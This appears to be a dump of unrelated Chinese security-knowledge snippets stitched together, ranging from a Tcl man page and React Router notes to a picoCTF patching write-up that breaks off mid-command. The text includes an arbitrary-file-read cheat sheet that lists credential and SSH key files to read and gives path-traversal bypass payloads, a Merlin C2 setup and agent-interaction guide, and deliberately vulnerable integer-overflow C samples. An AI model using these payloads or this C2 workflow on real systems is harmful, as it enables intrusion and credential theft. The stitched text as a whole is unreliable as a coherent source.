\fR?\fIoptions\fR?\fI string pattern body \fR?\fIpattern body \fR...? .sp \fBswitch \fR?\fIoptions\fR?\fI string \fR{\fIpattern body \fR?\fIpattern body \fR...?} .BE .SH "描述 DESCRIPTION" .PP \fBswitch\fR 命令依次针对每个 \fIpattern \fR(模式)参数匹配它的 \fIstring\fR 参数。如果它发现一个 \fIpattern\fR 匹配 \fIstring\fR,则立即通过把跟随在(这个模式)后面的 \fIbody\fR 参数递归的传递给 Tcl 解释器来求值它,并返回这次求值的结果。如果最后的 \fIpattern\fR 参数是 \fBdefault\fR,则它匹配所有的东西。如果没有 \fIpattern\fR 参数匹配 \fIstring\fR 并且没有给出缺省,则 \fBswitch\fR 命令返回一个空串。 .PP 如果给 \fBswitch\fR 的最初的参数以 \fB-\fR 开始,则它们被作为选项来对待。当前支持下列选项: .TP 10 \fB\-exact\fR 当与一个模式比较 \fIstring\fR 的时候,使用精确匹配。这是缺省的。 .TP 10 \fB\-glob\fR 当与一个模式比较 \fIstring\fR 的时候,使用通配符式样的匹配(与 \fBstring match\fR 命令所实现的相同)。 .TP 10 \fB\-regexp\fR 当与一个模式比较 \fIstring\fR 的时候,使用正则表达式匹配(在 \fBre_syntax\fR 参考页中描述)。 .TP 10 \fB\-\|\-\fR 选项结束的标志。此后的参数即使以 \fB-\fR 开始仍被作为 \fIstring\fR 来对待。 .PP 为 \fIpattern\fR 和 \fIbody\fR 参数提供了两个语法。第一个是对于每个模式和命令使用一个独立的参数;如果在一些模式或命令上需要替换,则这种形式是很方便的。第二种形式是把所有的模式和命令放在一起作为一个单一的参数;这个参数必须有正确的列表结构,它的元素是模式和命令。第二种形式适合于构造多行 switch 命令,因为花括号包围着所有元素,所以没有必要在每行结束之处包含一个反斜杠。 在第二种形式中因为 \fIpattern\fR参数在花括号中,所以在它们上不进行命令和变量替换;这使得第二种形式的行为在一些情况下与第一种形式不同。 .PP 如果指定一个 \fIbody\fR 为``\fB\-\fR'',则意味着给下一个模式的 \fIbody \fR也被用于这个模式(如果下一个模式也有一个执行体“\fB-\fR”则使用它后面的这个执行体,以此类推)。这个特征使在多个模式之间共享一个单一的 \fIbody\fR 成为可能。 .PP 在 \fBswitch\fR 命令放置注释要注意。注释只能放置在一个模式的执行体中,而不能与模式混合。 .PP 下面是 \fBswitch\fR 命令的一些例子: .CS \fBswitch\0abc\0a\0\-\0b\0{format 1}\0abc\0{format 2}\0default\0{format 3}\fR .CE 将返回 \fB2\fR, .CS \fBswitch\0\-regexp\0aaab { ^a.*b$\0\- b\0{format 1} a*\0{format 2} default\0{format 3} }\fR .CE 将返回 \fB1\fR, 而 .CS \fBswitch\0xyz { a \- b { # Correct Comment Placement format 1 } a* {format 2} default {format 3} }\fR .CE 将返回 \fB3\fR. .SH "参见 SEE ALSO" for(n), if(n), regexp(n) .SH "关键字 KEYWORDS" switch, match, regular expression .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/11/15 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Fileread --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [渗透测试-任意文件读取/下载漏洞](https://mp.weixin.qq.com/s/fpYKgybCQdSd5_AafNvt4w) **相关案例** - [京东商城两处任意目录遍历下载漏洞](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0214222) - [2 Path Traversal Cases](https://jlajara.gitlab.io/web/2020/03/29/Path_Traversal.html) - [电信某分站配置不当导致敏感文件泄露](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-095088) - [一个任意文件读取漏洞记录](https://toutiao.io/posts/423535/app_preview) - [南方周末邮件服务器任意文件读取漏洞](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-045426) - [一次文件读取漏洞的“危害升级”历程](https://www.freebuf.com/vuls/257629.html) - [任意文件读取拖源码](https://mp.weixin.qq.com/s/ipcg_abnzGMLySrfnKbR0Q) --- ## 利用思路 ### windows **常规配置文件** ``` C:\windows\win.ini //可以用来判断是否为windows系统 C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql 配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php 配置信息 C:\Windows\my.ini //Mysql 配置信息 ``` **Windows Search索引文件(需要管理员权限)** 这个文件一般特别大,不是很推荐这种利用方法😅 ``` %ProgramData%\Microsoft\Search\Data\Applications\Windows\Windows.edb ``` **日志文件** %systemroot%\System32\winevt\Logs 目录下 ``` Application.evtx ConnectionInfo.evtx Error.evtx HardwareEvents.evtx Internet Explorer.evtx Key Management Service.evtx Media Center.evtx Microsoft-Windows-API-Tracing%4Operational.evtx Microsoft-Windows-AppID%4Operational.evtx Microsoft-Windows-Application Server-Applications%4Admin.evtx Microsoft-Windows-Application Server-Applications%4Operational.evtx Microsoft-Windows-Application-Experience%4Problem-Steps-Recorder.evtx Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx Microsoft-Windows-Application-Experience%4Program-Inventory.evtx Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx ``` **命令行历史记录** ``` %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt ``` ### linux **系统信息** ``` /etc/passwd /etc/shadow /etc/hosts ``` **历史记录** ``` /var/lib/mlocate/mlocate.db # locate命令的索引数据库文件 /root/.bash_history # bash 历史记录 /root/.mysql_history # mysql 的 bash 历史记录 /root/.wget-hsts ``` **配置文件** ``` /opt/nginx/conf/nginx.conf # nginx 的配置文件 /var/www/html/index.html /etc/redis.conf /etc/my.cnf /etc/httpd/conf/httpd.conf # httpd 的配置文件 ``` **软硬件信息/进程信息** ``` /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz /proc/sched_debug # 提供 cpu 上正在运行的进程信息,可以获得进程的 pid 号,可以配合后面需要 pid的利用 /proc/mounts # 挂载的文件系统列表 /proc/net/arp # arp 表,可以获得内网其他机器的地址 /proc/net/route # 路由表信息 /proc/net/tcp /proc/net/udp # 活动连接的信息 /proc/net/fib_trie # 路由缓存 /proc/version # 内核版本 /proc/[PID]/cmdline # 可能包含有用的路径信息 /proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含 getshell /proc/[PID]/cwd # 当前进程的工作目录 /proc/[PID]/fd/[#] # 访问檔案描述符 ``` **ssh** ``` /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /root/.ssh/known_hosts //记录每个访问计算机用户的公钥 /etc/ssh/sshd_config /var/log/secure ``` **网络配置** ``` /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1 ``` **locate.db** Linux locate 命令用于查找符合条件的文档。一般输入 `locate xxx` 即可查找指定文件 locate 其会去保存文档和目录名称到数据库内(这个数据库中含有本地所有文件信息。Linux 系统自动创建这个数据库,并且每天自动更新一次),然后查找合乎范本样式条件的文档或目录。一般这个数据库的位置在: ``` /var/lib/mlocate/mlocate.db ``` 寻找 mlocate.db 中所有带有 properties 的路径 ```bash locate mlocate.db properties ``` --- ## 绕过技巧 ### 双写 - `../../../etc/passwd` - `..././.././etc/passwd` ### 编码 - `../../../etc/passwd` - `..%2F..%2F..%2Fetc%2Fpasswd` - `..%252F..%252F..%252Fetc%252Fpasswd`
sec-knowleage
### 整数溢出介绍 在C语言中,整数的基本数据类型分为短整型(short),整型(int),长整型(long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示: | 类型 | 字节 | 范围 | | :-: | :-: | :-: | | short int | 2byte(word) | 0\~32767(0\~0x7fff) <br> -32768\~-1(0x8000\~0xffff) | | unsigned short int | 2byte(word) | 0\~65535(0\~0xffff) | | int | 4byte(dword) | 0\~2147483647(0\~0x7fffffff) <br> -2147483648\~-1(0x80000000\~0xffffffff) | | unsigned int | 4byte(dword) | 0\~4294967295(0\~0xffffffff) | | long int | 8byte(qword) | 正: 0\~0x7fffffffffffffff <br> 负:0x8000000000000000\~0xffffffffffffffff | | unsigned long int | 8byte(qword) | 0\~0xffffffffffffffff | 当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。 ### 整数溢出关于上界溢出 ``` # 伪代码 short int a; a = a + 1; # 对应的汇编 movzx eax, word ptr [rbp - 0x1c] add eax, 1 mov word ptr [rbp - 0x1c], ax unsigned short int b; b = b + 1; # assembly code add word ptr [rbp - 0x1a], 1 ``` 上界溢出有两种情况,一种是 `0x7fff + 1`, 另一种是 `0xffff + 1`。 因为计算机底层指令是不区分有符号和无符号的,数据都是以二进制形式存在(编译器的层面才对有符号和无符号进行区分,产生不同的汇编指令)。 所以 `add 0x7fff, 1 == 0x8000`,这种上界溢出对无符号整型就没有影响,但是在有符号短整型中,`0x7fff` 表示的是 `32767`,但是 `0x8000` 表示的是 `-32768`,用数学表达式来表示就是在有符号短整型中 `32767+1 == -32768`。 第二种情况是 `add 0xffff, 1`,这种情况需要考虑的是第一个操作数。 比如上面的有符号型加法的汇编代码是 `add eax, 1`,因为 `eax=0xffff`,所以 `add eax, 1 == 0x10000`,但是无符号的汇编代码是对内存进行加法运算 `add word ptr [rbp - 0x1a], 1 == 0x0000`。 在有符号的加法中,虽然 `eax` 的结果为 0x10000,但是只把 `ax=0x0000` 的值储存到了内存中,从结果看和无符号是一样的。 再从数字层面看看这种溢出的结果,在有符号短整型中,`0xffff==-1,-1 + 1 == 0`,从有符号看这种计算没问题。 但是在无符号短整型中,`0xffff == 65535, 65535 + 1 == 0`。 ### 整数溢出关于下界溢出 下届溢出的道理和上界溢出一样,在汇编代码中,只是把 `add` 替换成了 `sub`。 一样也是有两种情况: 第一种是 `sub 0x0000, 1 == 0xffff`,对于有符号来说 `0 - 1 == -1` 没问题,但是对于无符号来说就成了 `0 - 1 == 65535`。 第二种是 `sub 0x8000, 1 == 0x7fff`,对于无符号来说是 `32768 - 1 == 32767` 是正确的,但是对于有符号来说就变成了 `-32768 - 1 = 32767`。 ### 整数溢出未限制范围举例 这种情况很好理解,比如有一个固定大小的桶,往里面倒水,如果你没有限制倒入多少水,那么水则会从桶中溢出来。 一个有固定大小的东西,你没有对其进行约束,就会造成不可预期的后果。 简单的写一个示例: ```c $ cat test.c #include<stddef.h> int main(void) { int len; int data_len; int header_len; char *buf; header_len = 0x10; scanf("%uld", &data_len); len = data_len+header_len buf = malloc(len); read(0, buf, data_len); return 0; } $ gcc test.c $ ./a.out -1 asdfasfasdfasdfafasfasfasdfasdf # gdb a.out ► 0x40066d <main+71> call malloc@plt <0x400500> size: 0xf ``` 只申请 `0x20` 大小的堆,但是却能输入 `0xffffffff` 长度的数据,从整型溢出到堆溢出 ### 整数溢出错误的类型转换举例 即使正确的对变量进行约束,也仍然有可能出现整数溢出漏洞,我认为可以概括为错误的类型转换,如果继续细分下去,可以分为: 1. 范围大的变量赋值给范围小的变量 ```c $ cat test2.c void check(int n) { if (!n) printf("vuln"); else printf("OK"); } int main(void) { long int a; scanf("%ld", &a); if (a == 0) printf("Bad"); else check(a); return 0; } $ gcc test2.c $ ./a.out 4294967296 vuln ``` 上述代码就是一个范围大的变量(长整型a),传入 check 函数后变为范围小的变量(整型变量n),造成整数溢出的例子。 已经长整型的占有 8 byte 的内存空间,而整型只有 4 byte 的内存空间,所以当 long -> int,将会造成截断,只把长整型的低 4byte 的值传给整型变量。 在上述例子中,就是把 `long: 0x100000000 -> int: 0x00000000`。 但是当范围更小的变量就能完全的把值传递给范围更大的变量,而不会造成数据丢失。 2. 只做了单边限制 这种情况只针对有符号类型 ```c $ cat test3.c int main(void) { int len, l; char buf[11]; scanf("%d", &len); if (len < 10) { l = read(0, buf, len); *(buf+l) = 0; puts(buf); } else printf("Please len < 10"); } $ gcc test3.c $ ./a.out -1 aaaaaaaaaaaa aaaaaaaaaaaa ``` 从表面上看,我们对变量 len 进行了限制,但是仔细思考可以发现,len 是有符号整型,所以 len 的长度可以为负数,但是在 read 函数中,第三个参数的类型是 `size_t`,该类型相当于 `unsigned long int`,属于无符号长整型 上面举例的两种情况都有一个共性,就是函数的形参和实参的类型不同,所以我认为可以总结为错误的类型转换
sec-knowleage
# Generated by Django 2.2.3 on 2019-08-02 19:41 from django.db import migrations, models from django.contrib.postgres.fields import JSONField class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Collection', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=128)), ('detail', JSONField()), ], ), ]
sec-knowleage
## Link Link组件用于取代`<a>`元素,生成一个链接,允许用户点击后跳转到另一个路由。 它基本上就是`<a>`元素的React 版本,可以接收Router的状态。 ### 使用时需要先引用组件 ```js import { Link } from 'react-router-dom' ``` ### 写入跳转地址 ```js <Link exact to="/about">About</Link> //to:(string)链接到的路径名或位置 //exact 严格匹配 ``` ### 可以`to`一个`location`对象 ```js <Link to={ { pathname: '/courses', //URL的路径 search: '?sort=name', //URL查询字符串 hash: '#the-hash', //URL哈希片段 state: { fromDashboard: true } // state使用时作为一个对象,可以设置位置特定的状态 //对象内可以自己写内容。 } }/> ``` ### NavLink > `<NavLink>`是可以添加样式的 Link ##### `<NavLink>`直接添加样式,给名为`active`的`class`添加样式 ##### 可以给NavLink添加className ```js <NavLink to="/faq" activeClassName="selected" >FAQs</NavLink> ``` ##### 可以给NavLink添加activeStyle: object ```js <NavLink to="/faq" activeStyle={ { fontWeight: 'bold', color: 'red' } } >FAQs</NavLink> ``` ### Redirect `Redirect`(重定向):<Redirect> 渲染时将导航到一个新地址,这个新地址覆盖在访问历史信息里面的本该访问的那个地址。 ```js <Switch> <Redirect from='/old-path' to='/new-path'/> //from 原来的地址 //to 需要跳转的地址 <Route path='/new-path' component={Place}/> </Switch> ```
sec-knowleage
# merlin --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **项目地址** - https://github.com/Ne0nd0g/merlin - https://github.com/Ne0nd0g/merlin-agent - https://github.com/its-a-feature/Mythic - https://github.com/MythicAgents/merlin **使用文档** - https://merlin-c2.readthedocs.io/en/latest/index.html --- ## 安装 **Server 安装** ```bash mkdir /opt/merlin;cd /opt/merlin wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z 7z x merlinServer-Linux-x64.7z # 密码 merlin sudo ./merlinServer-Linux-x64 ``` **Agent 下载** ``` https://github.com/Ne0nd0g/merlin/releases/download/v1.4.1/merlinAgent-Darwin-x64.7z https://github.com/Ne0nd0g/merlin/releases/download/v1.4.1/merlinAgent-Linux-x64.7z https://github.com/Ne0nd0g/merlin/releases/download/v1.4.1/merlinAgent-Windows-x64.7z ``` **通过 f8x 进行安装** ```bash wget -O f8x https://f8x.io/ bash f8x -merlin ``` --- ## 使用 运行 server 端,配置监听器,然后 agent 运行时配置 server 端地址,即可 server 端使用和 msf 框架很像 ```bash merlinServer ``` `help` 可以查看在当前状态下可用的命令 输入 `listeners` 配置监听器 输入 `use https` 使用 https 协议 输入 `info` 查看当前监听器的信息 输入 `start` 开启监听 ``` listeners use https info start ``` 可以看到它默认监听 127.0.0.1 输入 `set` 配置监听的接口 ```bash set Interface 0.0.0.0 info ``` `restart` 一下 ``` restart ``` 这个时候我们可以测试 agent 端上线的效果了 这里我拿 win11 为例 可以看到有新会话上线了 输入 `sessions` 输入 `main` 回到主菜单 输入 agent interact 加上 agent guid 来进行交互 ``` main agent list agent interact 0a83d6dd-6b84-44c8-bedd-7a512a8b8a3a ``` 然后执行个命令测试一下 ``` run ping 114.114.114.114 ``` 可以看到,执行命令有一定的延迟,猜测应该是和默认的心跳值有关
sec-knowleage
# T1123-win-使用soundrec音频收集 ## 来自ATT&CK的描述 攻击者可以利用计算机的外围设备(例如,麦克风和网络摄像头)或应用程序(例如,语音和视频呼叫服务)来捕获音频记录,以便侦听敏感的对话用以收集信息。 恶意软件或脚本可能用于通过操作系统或应用程序提供的可用API与设备进行交互以捕获音频。音频文件可能会写入磁盘并在以后被泄漏。 ## 测试案例 soundrec可以通过开发板采集声音,并通过电脑端显示波形,适用于 5402 dsp开发板。 ## 检测日志 Windows安全日志、sysmon日志 ## 测试复现 暂无 ## 测试留痕 暂无 ## 检测规则/思路 ### splunk规则 由于可能会使用各种AP​​I,因此很难检测到此技术。取决于正常使用系统的方式,有关API使用的遥测数据可能没有用,但可以为发生在系统上的其他潜在恶意活动提供上下文。 可能指示技术使用的行为包括未知或异常的进程访问与与麦克风,录音设备或录音软件交互的设备或软件相关联的API,以及周期性地将包含音频数据的文件写入磁盘的进程。 ```yml “index=windows SourceName=””Microsoft-Windows-PowerShell”” “”*WindowsAudioDevice-Powershell-Cmdlet*”” //use voice cmdlet in powershell index=windows source=””WinEventLog:Microsoft-Windows-Sysmon/Operational”” (EventCode=1 Image=””*\\explorer.exe”” CommandLine=””*WindowsSoundRecorder*””) OR (EventCode=1 Image=””*\\soundrec.exe””) // soundrecorder started with this command:explorer.exe shell:appsFolder\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App index=windows source=””WinEventLog:Microsoft-Windows-Sysmon/Operational”” (EventCode=1 CommandLine=””*/DURATION*””) OR (EventCode=1 CommandLine=””*/FILE*””) // check all commandlines that used /DURATION and /FILE as a output file in it” ``` ### 建议 如果你对windows以及powershell比较了解的话,你可以使用Windows日志来完成监视检测,当然最好的方法是使用Sysmon日志。 ## 相关TIP [[T1123-win-使用AudioDeviceCmdlets进行音频收集]] ## 参考推荐 MITRE-ATT&CK-T1123 <https://attack.mitre.org/techniques/T1123/>
sec-knowleage
version: '2' services: glassfish: image: vulhub/glassfish:4.1 ports: - "4848:4848" environment: - ADMIN_PASSWORD=vulhub_default_password
sec-knowleage
--- title: Framer X date: 2022-11-23 16:23:31.701096 background: bg-[#2151ed] label: Mac tags: - - mac categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 45 keyboard shortcuts found in Framer X. This application is MacOS-only. --- Keyboard Shortcuts ------------------ ### Tools Shortcut | Action ---|--- `F` | Frame `U` | Round `T` | Text `S` | Stack `L` | Link `Space` | Pan Canvas {.shortcuts} ### Graphics Shortcut | Action ---|--- `G` | Graphic `P` | Path `R` | Rectangle `O` | Oval `V` | Vector `Cmd` `G` | Group `Cmd` `Shift` `G` | Ungroup {.shortcuts} ### Layout Shortcut | Action ---|--- `Cmd` `Enter` | Add Frame `Cmd` `Opt` `Enter` | Add Stack `Cmd` `Del` | Remove Wrapper `Cmd` `Opt` `Up` | Move Forward `Cmd` `Opt` `Down` | Move Backward {.shortcuts} ### Components Shortcut | Action ---|--- `Cmd` `K` | Create from Design `Cmd` `Shift` `K` | Create from Code {.shortcuts} ### Text Shortcut | Action ---|--- `Cmd` `B` | Bold `Cmd` `I` | Italic `Cmd` `U` | Underline `Cmd` `T` | Select Typeface {.shortcuts} ### Editing Shortcut | Action ---|--- `Cmd` `(arrows)` | Object Size `Cmd` `Shift` `(arrows)` | Object Size by 10px `0-9` | Opacity `Opt` | Show Distance `Cmd` `D` | Duplicate in Place `Cmd` `Opt` `C` | Copy Style `Cmd` `Opt` `V` | Paste Style `Ctrl` `C` | Color Picker `Cmd` `A` | Select All Layers `Cmd` `Shift` `A` | Select All Siblings `Cmd` `Opt` `A` | Select All Children {.shortcuts} ### View Shortcut | Action ---|--- `Z` | Zoom `Cmd` `+` | Zoom In `Cmd` `-` | Zoom Out `Cmd` `1` | Zoom to Fit `Cmd` `2` | Zoom to Fit Selection `Cmd` `0` | Zoom to 100% `Ctrl` `R` | Show Rulers {.shortcuts} ### Window Shortcut | Action ---|--- `Cmd` `M` | Minimize `Cmd` `Shift` `1` | Welcome `Cmd` `P` | Preview {.shortcuts} Also see -------- - [Keyboard shortcuts for Framer X](https://www.framer.com/support/using-framer-x/shortcuts/) _(www.framer.com)_
sec-knowleage
# be-quick-or-be-dead-3 Reversing, 350 points ## Description: > As the [song](https://www.youtube.com/watch?v=CTt1vk9nM9c) draws closer to the end, another executable **be-quick-or-be-dead-3** suddenly pops up. This one requires even faster machines. Can you run it fast enough too? Attached was a binary file. ## Solution: Let's run the file: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-3/v2# ./be-quick-or-be-dead-3 Be Quick Or Be Dead 3 ===================== Calculating key... You need a faster machine. Bye bye. ``` Time to analyze the program. We'll use Radare2. ```console r2 be-quick-or-be-dead-3 ``` Analyze the binary with `aa` and list the functions with `afl`: ``` root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-3/v2# r2 be-quick-or-be-dead-3 -- When you sold that exploit, what they really bought, was your silence. [0x004005a0]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x004005a0]> afl 0x004004e8 3 26 sym._init 0x00400520 1 6 sym.imp.putchar 0x00400530 1 6 sym.imp.puts 0x00400540 1 6 sym.imp.printf 0x00400550 1 6 sym.imp.alarm 0x00400560 1 6 sym.imp.__libc_start_main 0x00400570 1 6 sym.imp.__sysv_signal 0x00400580 1 6 sym.imp.exit 0x00400590 1 6 fcn.00400590 0x004005a0 1 41 entry0 0x004005d0 4 50 -> 41 sym.deregister_tm_clones 0x00400610 4 58 -> 55 sym.register_tm_clones 0x00400650 3 28 sym.__do_global_dtors_aux 0x00400670 4 38 -> 35 entry1.init 0x00400696 6 112 sym.decrypt_flag 0x00400706 4 140 sym.calc 0x00400792 1 16 sym.calculate_key 0x004007a2 1 31 sym.alarm_handler 0x004007c1 3 84 sym.set_timer 0x00400815 1 43 sym.get_key 0x00400840 1 40 sym.print_flag 0x00400868 4 62 sym.header 0x004008a6 1 62 sym.main 0x004008f0 4 101 sym.__libc_csu_init 0x00400960 1 2 sym.__libc_csu_fini 0x00400964 1 9 sym._fini [0x004005a0]> ``` The `main` function is similar to the previous two challenges. Just like last time, if we disable the timer, we hang and the program does not return in a reasonable time. Like last time, the `get_key` function calls the `calculate_key` function, which holds the important logic: ```assembly [0x004008a6]> s sym.calculate_key [0x00400792]> pdf / (fcn) sym.calculate_key 16 | sym.calculate_key (); | ; CALL XREF from sym.get_key (0x400828) | 0x00400792 55 push rbp | 0x00400793 4889e5 mov rbp, rsp | 0x00400796 bf65990100 mov edi, 0x19965 | 0x0040079b e866ffffff call sym.calc | 0x004007a0 5d pop rbp \ 0x004007a1 c3 ret ``` This function calls `calc` with 0x19965 as a parameter. Here's the logic for `calc`: ``` [0x00400706]> VV @ sym.calc .------------------------------------------------------------------------------------------------------------------. | [0x400706] | | (fcn) sym.calc 140 | | sym.calc (int arg1); | | ; var int local_24h @ rbp-0x24 | | ; var int local_14h @ rbp-0x14 | | ; arg int arg1 @ rdi | | ; XREFS: CALL 0x00400733 CALL 0x00400742 CALL 0x00400751 CALL 0x00400761 CALL 0x00400776 CALL 0x0040079b | | push rbp | | mov rbp, rsp | | push r12 | | push rbx | | sub rsp, 0x20 | | ; arg1 | | mov dword [local_24h], edi | | cmp dword [local_24h], 4 | | ja 0x40072b;[ga] | `------------------------------------------------------------------------------------------------------------------' f t | | | '------------------------------------------------------. '--------------. | | | .------------------------------------. .-----------------------------------. | 0x40071a [gd] | | 0x40072b [ga] | | mov eax, dword [local_24h] | | mov eax, dword [local_24h] | | imul eax, dword [local_24h] | | sub eax, 1 | | ; 'E#' | | mov edi, eax | | add eax, 0x2345 | | call sym.calc;[gb] | | mov dword [local_14h], eax | | mov ebx, eax | | jmp 0x400786;[gc] | | mov eax, dword [local_24h] | `------------------------------------' | sub eax, 2 | v | mov edi, eax | | | call sym.calc;[gb] | | | sub ebx, eax | | | mov eax, dword [local_24h] | | | sub eax, 3 | | | mov edi, eax | | | call sym.calc;[gb] | | | mov r12d, eax | | | mov eax, dword [local_24h] | | | sub eax, 4 | | | mov edi, eax | | | call sym.calc;[gb] | | | sub r12d, eax | | | mov eax, r12d | | | add ebx, eax | | | mov eax, dword [local_24h] | | | sub eax, 5 | | | mov edi, eax | | | call sym.calc;[gb] | | | imul eax, eax, 0x1234 | | | add eax, ebx | | | mov dword [local_14h], eax | | `-----------------------------------' | v | | '--------------------. | | .------------------' | | .--------------------------------------. | 0x400786 [gc] | | ; CODE XREF from sym.calc (0x400729) | | mov eax, dword [local_14h] | | add rsp, 0x20 | | pop rbx | | pop r12 | | pop rbp | | ret | `--------------------------------------' ``` So, we just need to predict the logic for `calc(0x19965)`, and we're done. Calculating this in Python, using dynamic programming: ```python import numpy as np import functools import sys import ctypes np.seterr(all="ignore") def memoize(func): cache = func.cache = {} @functools.wraps(func) def memoized_func(*args, **kwargs): key = str(args) + str(kwargs) if key not in cache: cache[key] = func(*args, **kwargs) return cache[key] return memoized_func @memoize def calc(x): assert (type(x) == np.int32) if x > 4: ebx = calc(x - np.int32(1)) ebx -= calc(x - np.int32(2)) r12d = calc(x - np.int32(3)) r12d -= calc(x - np.int32(4)) ebx += r12d eax = calc(x - np.int32(5)) eax *= np.int32(0x1234) return eax + ebx else: return (x * x) + np.int32(0x2345) for i in range(0x19965): calc(np.int32(i)) res = calc(np.int32(0x19965)) print res print str(ctypes.c_uint(res)) ``` Note that we use numpy's uint32 in order to simulate the overflows that occur when adding 32-bit integers (as in the original assembly, where the result is returned in eax: `mov eax, dword [local_14h]`). Running the above code gives us the following output (takes a few seconds): ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-3# python solve.py -1641887346 c_uint(2653079950L) ``` Since patching with Radare2 in write mode is giving me incorrect results for an unknown reason, we'll patch with dd. First, we need to find the exact place to patch. `get_key` makes most sense: ```assembly [0x004005a0]> s sym.get_key [0x00400815]> pdf / (fcn) sym.get_key 43 | sym.get_key (); | ; CALL XREF from sym.main (0x4008ce) | 0x00400815 55 push rbp | 0x00400816 4889e5 mov rbp, rsp | 0x00400819 bf080a4000 mov edi, str.Calculating_key... ; 0x400a08 ; "Calculating key..." | 0x0040081e e80dfdffff call sym.imp.puts ; int puts(const char *s) | 0x00400823 b800000000 mov eax, 0 | 0x00400828 e865ffffff call sym.calculate_key | 0x0040082d 89057d082000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010b0:4]=0 | 0x00400833 bf1b0a4000 mov edi, str.Done_calculating_key ; 0x400a1b ; "Done calculating key" | 0x00400838 e8f3fcffff call sym.imp.puts ; int puts(const char *s) | 0x0040083d 90 nop | 0x0040083e 5d pop rbp \ 0x0040083f c3 ret ``` Instead of calling `sym.calculate_key`, we'll hardcode the result. We'd like to replace the `call sym.calculate_key` command with `mov eax, 2653079950`. We can use `rasm2` to encode this instruction: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-3/v2# rasm2 'mov eax, 2653079950' b88ec9229e ``` Luckily, the length of both instructions is identical, so we can patch in-place. Therefore, at virtual address `0x00400828`, we'd like to replace `e865ffffff` with `b88ec9229e`. How do we find the offset in the binary itself? We will need to check the section table of the executable: ``` [0x004005a0]> iS [Sections] Nm Paddr Size Vaddr Memsz Perms Name 00 0x00000000 0 0x00000000 0 ---- 01 0x00000238 28 0x00400238 28 -r-- .interp 02 0x00000254 32 0x00400254 32 -r-- .note.ABI_tag 03 0x00000274 36 0x00400274 36 -r-- .note.gnu.build_id 04 0x00000298 28 0x00400298 28 -r-- .gnu.hash 05 0x000002b8 216 0x004002b8 216 -r-- .dynsym 06 0x00000390 101 0x00400390 101 -r-- .dynstr 07 0x000003f6 18 0x004003f6 18 -r-- .gnu.version 08 0x00000408 32 0x00400408 32 -r-- .gnu.version_r 09 0x00000428 24 0x00400428 24 -r-- .rela.dyn 10 0x00000440 168 0x00400440 168 -r-- .rela.plt 11 0x000004e8 26 0x004004e8 26 -r-x .init 12 0x00000510 128 0x00400510 128 -r-x .plt 13 0x00000590 8 0x00400590 8 -r-x .plt.got 14 0x000005a0 962 0x004005a0 962 -r-x .text 15 0x00000964 9 0x00400964 9 -r-x .fini 16 0x00000970 232 0x00400970 232 -r-- .rodata 17 0x00000a58 116 0x00400a58 116 -r-- .eh_frame_hdr 18 0x00000ad0 508 0x00400ad0 508 -r-- .eh_frame 19 0x00000e10 8 0x00600e10 8 -rw- .init_array 20 0x00000e18 8 0x00600e18 8 -rw- .fini_array 21 0x00000e20 8 0x00600e20 8 -rw- .jcr 22 0x00000e28 464 0x00600e28 464 -rw- .dynamic 23 0x00000ff8 8 0x00600ff8 8 -rw- .got 24 0x00001000 80 0x00601000 80 -rw- .got.plt 25 0x00001060 74 0x00601060 74 -rw- .data 26 0x000010aa 0 0x006010ac 12 -rw- .bss 27 0x000010aa 53 0x00000000 53 ---- .comment 28 0x00001b8d 268 0x00000000 268 ---- .shstrtab 29 0x000010e0 1992 0x00000000 1992 ---- .symtab 30 0x000018a8 741 0x00000000 741 ---- .strtab ``` Our virtual address appears in the following section: ``` Nm Paddr Size Vaddr Memsz Perms Name 14 0x000005a0 962 0x004005a0 962 -r-x .text ``` So we calculate: ``` 0x00400828 - 0x004005a0 + 0x000005a0 = 0x828 ``` Let's verify we have the correct offset in the binary: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-3/v2# xxd -g 1 -s $((0x828)) -l 5 be-quick-or-be-dead-3 00000828: e8 65 ff ff ff .e... ``` Now, we patch: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-3/v2# cp be-quick-or-be-dead-3 be-quick-or-be-dead-3_patched 